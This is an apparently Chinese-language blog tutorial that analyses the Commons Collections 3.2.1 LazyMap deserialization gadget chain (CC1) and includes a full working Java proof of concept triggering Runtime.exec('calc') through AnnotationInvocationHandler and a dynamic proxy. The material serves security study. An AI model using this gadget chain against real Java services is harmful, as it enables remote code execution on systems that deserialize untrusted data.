本文最后更新于:2023年9月9日 晚上
                  
                
              
            
            
              
                
                [TOC]
【java安全】CommonsCollections1(LazyMap)
前言
前面我们学习了cc1链使用TransformedMap构造,但是ysoserial使用的是LazyMap进行构造的,相对复杂一点
我们先复习一下:

LazyMap和TransformedMap都是在CommonsCollections模块中,我们想要测试首先需要创建maven项目,然后导入坐标
| 12
 3
 4
 5
 
 | <dependency><groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.2.1</version>
 </dependency>
 
 | 
我们使用TransformedMap是通过触发checkSetValue()方法来触发ChainedTransformer类的transform()方法最终RCE
那么LazyMap是如何触发transform()方法呢?
LazyMap
我们查看LazyMap源码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | protected LazyMap(Map map, Transformer factory) {super(map);
 if (factory == null) {
 throw new IllegalArgumentException("Factory must not be null");
 } else {
 this.factory = factory;
 }
 }
 
 public Object get(Object key) {
 if (!this.map.containsKey(key)) {
 Object value = this.factory.transform(key);
 this.map.put(key, value);
 return value;
 } else {
 return this.map.get(key);
 }
 }
 
 | 
发现get()方法可以执行factory变量的transform()方法,而factory刚好是Transformer类型
所以只要创建一个LazyMap对象,factory传入ChainedTransformer对象,只要调用了LazyMap对象的get()方法,就可以RCE了
如何创建LazyMap对象?
我们可以使用decorate()方法:
| 12
 3
 
 | public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);
 }
 
 | 
参数:
- map参数可以传入一个空的- HashMap对象
- factory可以传入一个- ChainedTransformer对象
如何调用LazyMap的get()方法?
我们之前触发 TransformedMap,是通过sun.reflect.annotation.AnnotationInvocationHandler执行setValue()触发TransformedMap的checkSetValue()函数执行transform()方法
| 12
 3
 
 | protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);
 }
 
 | 
那我们怎么触发LazyMap#get()方法呢?
我们再看看sun.reflect.annotation.AnnotationInvocationHandler源码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | public Object invoke(Object var1, Method var2, Object[] var3) {...
 if (var4.equals("toString")) {
 return this.toStringImpl();
 } else if (var4.equals("hashCode")) {
 return this.hashCodeImpl();
 } else if (var4.equals("annotationType")) {
 return this.type;
 } else {
 Object var6 = this.memberValues.get(var4);
 ...
 }
 
 | 
这里我们注意到invoke()调用了this.memberValues变量的get()方法,而memberValues变量
| 12
 3
 4
 
 | AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {this.type = var1;
 this.memberValues = var2;
 }
 
 | 
是构造AnnotationInvocationHandler传入的第二个参数,如果我们将var2传入LazyMap对象,那么只要AnnotationInvocationHandler触发了invoke()方法,就可以调用LazyMap的get()方法
如何触发AnnotationInvocationHandler#invoke()方法?
可以使用java的动态代理机制,
我们创建一个AnnotationInvocationHandler对象,第二个参数传入LazyMap对象,对Map创建一个代理:
| 1
 | Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),Map.class.getInterfaces(),handler);
 | 
然后只要随便使用proxyMap动态代理对象调用方法,就会触发 hander变量,即AnnotationInvocationHandler对象的invoke()方法,从而调用LazyMap的get()
问题又来了,怎么才能随便调用proxyMap动态代理对象的方法,并且使用readObject()反序列化的方式呢?
我们可以再次将proxyMap封装到AnnotationInvocationHandler中,因为它的readObject()方法存在函数调用:
| 12
 3
 4
 5
 6
 7
 8
 
 | private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();
 AnnotationType var2 = null;
 ...
 Map var3 = var2.memberTypes();
 Iterator var4 = this.memberValues.entrySet().iterator();
 
 }
 
 | 
这里的this.memberValues就是proxyMap,他会调用entrySet()从而触发invoke()
POC
测试环境
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 
 | import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.util.HashMap;
 import java.util.Map;
 
 public class CommonsCollections1 {
 
 public static void main(String[] args) {
 
 
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 
 
 Transformer chainedTransformer = new ChainedTransformer(transformers);
 
 
 Map uselessMap = new HashMap();
 Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
 
 try {
 
 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
 constructor.setAccessible(true);
 InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
 
 
 Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
 
 InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
 
 
 ByteArrayOutputStream baos = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(baos);
 oos.writeObject(handler1);
 oos.flush();
 oos.close();
 
 
 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
 ObjectInputStream ois = new ObjectInputStream(bais);
 ois.readObject();
 ois.close();
 
 } catch (Exception e) {
 e.printStackTrace();
 }
 
 }
 
 }
 
 | 
运行代码:
 
总结
讲到这里,整个一条链子算是清晰了起来:
| 12
 3
 4
 5
 6
 7
 8
 
 | ->AnnotationInvocationHandler.readObject()->proxyMap.entrySet().iterator()
 ->AnnotationInvocationHandler.invoke()
 ->LazyMap.get()
 ->ChainedTransformer.transform()
 ->ConstantTransformer.transform()
 ->InvokerTransformer.transform()
 ->…………
 
 | 
参考
CC链 1-7 分析 
Java安全漫谈 - 11.反序列化篇(5)